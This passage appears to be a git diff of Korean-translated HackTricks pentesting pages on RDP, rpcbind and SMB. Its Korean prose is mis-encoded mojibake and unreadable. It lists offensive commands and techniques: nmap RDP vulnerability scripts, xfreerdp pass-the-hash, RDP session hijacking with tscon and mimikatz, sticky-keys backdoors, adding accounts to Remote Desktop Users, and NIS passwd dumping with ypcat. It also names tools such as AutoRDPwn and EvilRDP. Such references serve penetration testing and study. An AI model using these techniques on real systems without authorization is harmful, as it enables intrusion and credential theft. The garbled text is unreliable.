์›๊ฒฉ ์ปดํ“จํ„ฐ๋Š” **RDP** ์„œ๋ฒ„ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์šด์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ ์›๊ฑฐ๋ฆฌ ์ปดํ“จํ„ฐ์˜ ๋ฐ์Šคํฌํƒ‘ ํ™˜๊ฒฝ์„ ์›ํ™œํ•˜๊ฒŒ ์ œ์–ดํ•˜๊ณ  ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ, ๋ณธ์งˆ์ ์œผ๋กœ ๊ทธ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์‚ฌ์šฉ์ž์˜ ๋กœ์ปฌ ์žฅ์น˜๋กœ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. @@ -12,9 +11,9 @@ Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ **Remote Desktop Protocol** (**RDP**)๋Š” ๋„คํŠธ์›Œํฌ PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## ์—ด๊ฑฐ +## Enumeration -### ์ž๋™ +### Automatic ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` @@ -40,7 +39,7 @@ rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` -### RDP ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์•Œ๋ ค์ง„ ์ž๊ฒฉ ์ฆ๋ช… ํ™•์ธ +### RDP ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์•Œ๋ ค์ง„ ์ž๊ฒฉ ์ฆ๋ช… ํ™•์ธ impacket์˜ rdp_check.py๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ผ๋ถ€ ์ž๊ฒฉ ์ฆ๋ช…์ด RDP ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์œ ํšจํ•œ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash @@ -50,7 +49,7 @@ rdp_check /:@ ### ์„ธ์…˜ ํƒˆ์ทจ -**SYSTEM ๊ถŒํ•œ**์œผ๋กœ **์‚ฌ์šฉ์ž์— ์˜ํ•ด ์—ด๋ฆฐ ๋ชจ๋“  RDP ์„ธ์…˜**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์†Œ์œ ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. +**SYSTEM ๊ถŒํ•œ**์œผ๋กœ **์‚ฌ์šฉ์ž์— ์˜ํ•ด ์—ด๋ฆฐ RDP ์„ธ์…˜**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์†Œ์œ ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. **์—ด๋ฆฐ ์„ธ์…˜ ๊ฐ€์ ธ์˜ค๊ธฐ:** ``` @@ -64,7 +63,7 @@ tscon /dest: **์ค‘์š”**: ํ™œ์„ฑ RDP ์„ธ์…˜์— ์ ‘๊ทผํ•˜๋ฉด ํ•ด๋‹น ์„ธ์…˜์„ ์‚ฌ์šฉ ์ค‘์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ•์ œ๋กœ ๋กœ๊ทธ์•„์›ƒ๋ฉ๋‹ˆ๋‹ค. -ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ๋ฐฉ๋ฒ•์€ ํ›จ์”ฌ ๋น ๋ฅด๋ฉฐ ์‚ฌ์šฉ์ž์˜ ๊ฐ€์ƒ ๋ฐ์Šคํฌํƒ‘๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค (๋””์Šคํฌ์— ์ €์žฅ๋˜์ง€ ์•Š์€ ๋ฉ”๋ชจ์žฅ์— ์žˆ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ, ๋‹ค๋ฅธ ๋จธ์‹ ์—์„œ ์—ด๋ฆฐ ๋‹ค๋ฅธ RDP ์„ธ์…˜ ๋“ฑ...). +ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ๋ฐฉ๋ฒ•์€ ํ›จ์”ฌ ๋น ๋ฅด๋ฉฐ ์‚ฌ์šฉ์ž์˜ ๊ฐ€์ƒ ๋ฐ์Šคํฌํƒ‘๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค (๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋””์Šคํฌ์— ์ €์žฅ๋˜์ง€ ์•Š์€ ๋ฉ”๋ชจ์žฅ, ๋‹ค๋ฅธ ๋จธ์‹ ์—์„œ ์—ด๋ฆฐ ๋‹ค๋ฅธ RDP ์„ธ์…˜ ๋“ฑ...). #### **Mimikatz** @@ -75,13 +74,13 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -์ด ๊ธฐ์ˆ ์„ **stickykeys** ๋˜๋Š” **utilman**๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด ์–ธ์ œ๋“ ์ง€ ๊ด€๋ฆฌ CMD์™€ RDP ์„ธ์…˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด ๊ธฐ์ˆ ์„ **stickykeys** ๋˜๋Š” **utilman**๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด ์–ธ์ œ๋“ ์ง€ ๊ด€๋ฆฌ CMD์™€ ๋ชจ๋“  RDP ์„ธ์…˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ  ์ค‘ ํ•˜๋‚˜๋กœ ๋ฐฑ๋„์–ด๊ฐ€ ์„ค์ •๋œ RDP๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection -๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ๋˜๋Š” **๋” ๋‚˜์€ ๊ถŒํ•œ์œผ๋กœ RDP๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ์ธํ•œ** ์‚ฌ์šฉ์ž๊ฐ€ **๋‹น์‹ ์ด ๊ด€๋ฆฌ์ž**์ธ PC์— ์ ‘์†ํ•˜๋ฉด, ๊ทธ์˜ **RDP ์„ธ์…˜ ํ”„๋กœ์„ธ์Šค**์— ๋‹น์‹ ์˜ ๋น„์ฝ˜์„ **์ฃผ์ž…**ํ•˜๊ณ  ๊ทธ์ฒ˜๋Ÿผ ํ–‰๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ๋˜๋Š” **๋” ๋‚˜์€ ๊ถŒํ•œ**์œผ๋กœ RDP๋ฅผ ํ†ตํ•ด **๋‹น์‹ ์ด ๊ด€๋ฆฌ์ž**์ธ PC์— ๋กœ๊ทธ์ธํ•˜๋Š” ๊ฒฝ์šฐ, ๊ทธ์˜ **RDP ์„ธ์…˜ ํ”„๋กœ์„ธ์Šค**์— ๋‹น์‹ ์˜ ๋น„์ฝ˜์„ **์ฃผ์ž…**ํ•˜๊ณ  ๊ทธ๋กœ ํ–‰๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -91,18 +90,20 @@ ts::remote /id:2 #Connect to the session ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` -## ์ž๋™ ๋„๊ตฌ +## Automatic Tools - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn**์€ Microsoft Windows ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ **Shadow** ๊ณต๊ฒฉ์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ฃผ๋กœ ์„ค๊ณ„๋œ Powershell๋กœ ์ƒ์„ฑ๋œ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ (๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ์—์„œ ๊ธฐ๋Šฅ์œผ๋กœ ๋‚˜์—ด๋จ)์€ ์›๊ฒฉ ๊ณต๊ฒฉ์ž๊ฐ€ **ํ”ผํ•ด์ž์˜ ๋™์˜ ์—†์ด ๊ทธ์˜ ๋ฐ์Šคํฌํƒ‘์„ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ** ํ•˜๋ฉฐ, ์‹ฌ์ง€์–ด ์šด์˜ ์ฒด์ œ ์ž์ฒด์˜ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•„์š”์— ๋”ฐ๋ผ ์ด๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +**AutoRDPwn**๋Š” Microsoft Windows ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ **Shadow** ๊ณต๊ฒฉ์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ฃผ๋กœ ์„ค๊ณ„๋œ Powershell๋กœ ์ƒ์„ฑ๋œ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ (๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ์—์„œ ๊ธฐ๋Šฅ์œผ๋กœ ๋‚˜์—ด๋จ)์€ ์›๊ฒฉ ๊ณต๊ฒฉ์ž๊ฐ€ **ํ”ผํ•ด์ž์˜ ๋™์˜ ์—†์ด ๊ทธ์˜ ๋ฐ์Šคํฌํƒ‘์„ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ** ํ•˜๋ฉฐ, ์‹ฌ์ง€์–ด ์šด์˜ ์ฒด์ œ ์ž์ฒด์˜ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•„์š”์— ๋”ฐ๋ผ ์ด๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - ๋ช…๋ น์ค„์—์„œ ์ž๋™ํ™”๋œ ๋ฐฉ์‹์œผ๋กœ ๋งˆ์šฐ์Šค์™€ ํ‚ค๋ณด๋“œ ์ œ์–ด - ๋ช…๋ น์ค„์—์„œ ์ž๋™ํ™”๋œ ๋ฐฉ์‹์œผ๋กœ ํด๋ฆฝ๋ณด๋“œ ์ œ์–ด -- RDP๋ฅผ ํ†ตํ•ด ๋Œ€์ƒ์— ๋„คํŠธ์›Œํฌ ํ†ต์‹ ์„ ์ฑ„๋„๋งํ•˜๋Š” SOCKS ํ”„๋ก์‹œ ํด๋ผ์ด์–ธํŠธ์—์„œ ์ƒ์„ฑ +- RDP๋ฅผ ํ†ตํ•ด ๋Œ€์ƒ์— ๋Œ€ํ•œ ๋„คํŠธ์›Œํฌ ํ†ต์‹ ์„ ์ฑ„๋„๋งํ•˜๋Š” SOCKS ํ”„๋ก์‹œ ํด๋ผ์ด์–ธํŠธ์—์„œ ์ƒ์„ฑ - ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์ง€ ์•Š๊ณ ๋„ ๋Œ€์ƒ์—์„œ ์ž„์˜์˜ SHELL ๋ฐ PowerShell ๋ช…๋ น ์‹คํ–‰ - ํŒŒ์ผ ์ „์†ก์ด ๋Œ€์ƒ์—์„œ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด๋„ ๋Œ€์ƒ์— ํŒŒ์ผ์„ ์—…๋กœ๋“œ ๋ฐ ๋‹ค์šด๋กœ๋“œ + +## HackTricks Automatic Commands ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. @@ -114,7 +115,7 @@ Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. -https://book.hacktricks.xyz/pentesting/pentesting-rdp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index af1a546fc..ff29b3f25 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## ๊ธฐ๋ณธ ์ •๋ณด +## Basic Information -**Portmapper**๋Š” ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค ํฌํŠธ๋ฅผ **RPC** (์›๊ฒฉ ํ”„๋กœ์‹œ์ € ํ˜ธ์ถœ) ํ”„๋กœ๊ทธ๋žจ ๋ฒˆํ˜ธ์— ๋งคํ•‘ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Š” **Unix ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ**์—์„œ ์ค‘์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋กœ ์ž‘์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์ •๋ณด ๊ตํ™˜์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. **Portmapper**์™€ ๊ด€๋ จ๋œ **ํฌํŠธ**๋Š” ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์ž์ฃผ ์Šค์บ”๋˜๋ฉฐ, ์ด๋Š” ๊ท€์ค‘ํ•œ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด์—๋Š” ์‹คํ–‰ ์ค‘์ธ **Unix ์šด์˜ ์ฒด์ œ (OS)**์˜ ์œ ํ˜•๊ณผ ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Portmapper**๋Š” **NFS (๋„คํŠธ์›Œํฌ ํŒŒ์ผ ์‹œ์Šคํ…œ)**, **NIS (๋„คํŠธ์›Œํฌ ์ •๋ณด ์„œ๋น„์Šค)** ๋ฐ ๊ธฐํƒ€ **RPC ๊ธฐ๋ฐ˜ ์„œ๋น„์Šค**์™€ ํ•จ๊ป˜ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +**Portmapper**๋Š” ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค ํฌํŠธ๋ฅผ **RPC** (์›๊ฒฉ ํ”„๋กœ์‹œ์ € ํ˜ธ์ถœ) ํ”„๋กœ๊ทธ๋žจ ๋ฒˆํ˜ธ์— ๋งคํ•‘ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Š” **Unix ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ**์—์„œ ์ค‘์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋กœ ์ž‘์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์ •๋ณด ๊ตํ™˜์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. **Portmapper**์™€ ๊ด€๋ จ๋œ **ํฌํŠธ**๋Š” ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์ž์ฃผ ์Šค์บ”๋˜๋ฉฐ, ์ด๋Š” ๊ท€์ค‘ํ•œ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด์—๋Š” ์‹คํ–‰ ์ค‘์ธ **Unix ์šด์˜ ์ฒด์ œ (OS)**์˜ ์œ ํ˜•๊ณผ ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Portmapper**๋Š” **NFS (๋„คํŠธ์›Œํฌ ํŒŒ์ผ ์‹œ์Šคํ…œ)**, **NIS (๋„คํŠธ์›Œํฌ ์ •๋ณด ์„œ๋น„์Šค)** ๋ฐ ๊ธฐํƒ€ **RPC ๊ธฐ๋ฐ˜ ์„œ๋น„์Šค**์™€ ํ•จ๊ป˜ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 111/TCP/UDP, Oracle Solaris์—์„œ 32771 ``` @@ -16,7 +16,7 @@ PORT STATE SERVICE rpcinfo irked.htb nmap -sSUC -p111 192.168.10.1 ``` -๋•Œ๋•Œ๋กœ ์ •๋ณด๊ฐ€ ์ œ๊ณต๋˜์ง€ ์•Š์ง€๋งŒ, ๋‹ค๋ฅธ ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋•Œ๋•Œ๋กœ ์ •๋ณด๊ฐ€ ์ „ํ˜€ ์ œ๊ณต๋˜์ง€ ์•Š์ง€๋งŒ, ๋‹ค๋ฅธ ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../images/image (553).png>) @@ -26,7 +26,7 @@ nmap -sSUC -p111 192.168.10.1 ## RPCBind + NFS -์„œ๋น„์Šค NFS๋ฅผ ์ฐพ์œผ๋ฉด ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œ(๊ทธ๋ฆฌ๊ณ  ์•„๋งˆ๋„ ์—…๋กœ๋“œ)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์„œ๋น„์Šค NFS๋ฅผ ์ฐพ์œผ๋ฉด ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œ(๊ทธ๋ฆฌ๊ณ  ์•„๋งˆ๋„ ์—…๋กœ๋“œ)ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค: ![](<../images/image (872).png>) @@ -55,7 +55,7 @@ ypcat โ€“d โ€“h passwd.byname | ---------------- | -------------------------- | --------------------------------- | | /etc/hosts | hosts.byname, hosts.byaddr | ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๋ฐ IP ์„ธ๋ถ€์ •๋ณด ํฌํ•จ | | /etc/passwd | passwd.byname, passwd.byuid| NIS ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ผ | -| /etc/group | group.byname, group.bygid | NIS ๊ทธ๋ฃน ํŒŒ์ผ | +| /etc/group | group.byname, group.bygid | NIS ๊ทธ๋ฃน ํŒŒ์ผ | | /usr/lib/aliases | mail.aliases | ๋ฉ”์ผ ๋ณ„์นญ ์„ธ๋ถ€์ •๋ณด | ## RPC ์‚ฌ์šฉ์ž @@ -90,7 +90,7 @@ Description: Notes for PortMapper Note: | Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. -https://book.hacktricks.xyz/pentesting/pentesting-rpcbind +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html Entry_2: Name: rpc info diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 6c7ea7638..03fba4b01 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## **ํฌํŠธ 139** +## **Port 139** _**๋„คํŠธ์›Œํฌ ๊ธฐ๋ณธ ์ž…์ถœ๋ ฅ ์‹œ์Šคํ…œ**_** (NetBIOS)**๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํƒ‘์ด ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ(LAN) ๋‚ด์—์„œ ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  **๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœํ† ์ฝœ**์ž…๋‹ˆ๋‹ค. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ์ž‘๋™ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„ ๋ฐ ์œ„์น˜๋Š” ์ตœ๋Œ€ 16์ž ๊ธธ์ด์˜ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด๋Š” ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ ์—ญํ• )์ด **TCP ํฌํŠธ 139**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„ ์—ญํ• )์„ "ํ˜ธ์ถœ"ํ•˜๋Š” ๋ช…๋ น์„ ๋ฐœํ–‰ํ•  ๋•Œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ``` @@ -10,7 +10,7 @@ _**๋„คํŠธ์›Œํฌ ๊ธฐ๋ณธ ์ž…์ถœ๋ ฅ ์‹œ์Šคํ…œ**_** (NetBIOS)**๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด ``` ## Port 445 -๊ธฐ์ˆ ์ ์œผ๋กœ, ํฌํŠธ 139๋Š” โ€˜NBT over IPโ€™๋กœ ์–ธ๊ธ‰๋˜๋ฉฐ, ํฌํŠธ 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**Server Message Blocks**โ€™๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ํ˜„๋Œ€์ ์œผ๋กœ๋Š” **Common Internet File System (CIFS)**๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ, SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋„คํŠธ์›Œํฌ์˜ ๋…ธ๋“œ ๊ฐ„ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +๊ธฐ์ˆ ์ ์œผ๋กœ, ํฌํŠธ 139๋Š” โ€˜NBT over IPโ€™๋กœ ์–ธ๊ธ‰๋˜๋ฉฐ, ํฌํŠธ 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก**โ€™์„ ์˜๋ฏธํ•˜๋ฉฐ, ํ˜„๋Œ€์ ์œผ๋กœ๋Š” **๊ณตํ†ต ์ธํ„ฐ๋„ท ํŒŒ์ผ ์‹œ์Šคํ…œ (CIFS)**๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ, SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ , ๋„คํŠธ์›Œํฌ์˜ ๋…ธ๋“œ ๊ฐ„ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Windows์˜ ๋งฅ๋ฝ์—์„œ SMB๋Š” TCP/IP๋ฅผ ํ†ตํ•ด ์ง์ ‘ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌํŠธ 445๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์˜ ํ•„์š”์„ฑ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ, ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” ํฌํŠธ 139์˜ ์‚ฌ์šฉ์ด ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ TCP/IP๋ฅผ ํ†ตํ•œ NetBIOS์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ``` @@ -18,13 +18,13 @@ _**๋„คํŠธ์›Œํฌ ๊ธฐ๋ณธ ์ž…์ถœ๋ ฅ ์‹œ์Šคํ…œ**_** (NetBIOS)**๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด ``` ### SMB -**์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก (SMB)** ํ”„๋กœํ† ์ฝœ์€ **ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„** ๋ชจ๋ธ์—์„œ ์ž‘๋™ํ•˜๋ฉฐ, **ํŒŒ์ผ**, ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํ”„๋ฆฐํ„ฐ์™€ ๋ผ์šฐํ„ฐ์™€ ๊ฐ™์€ ๊ธฐํƒ€ 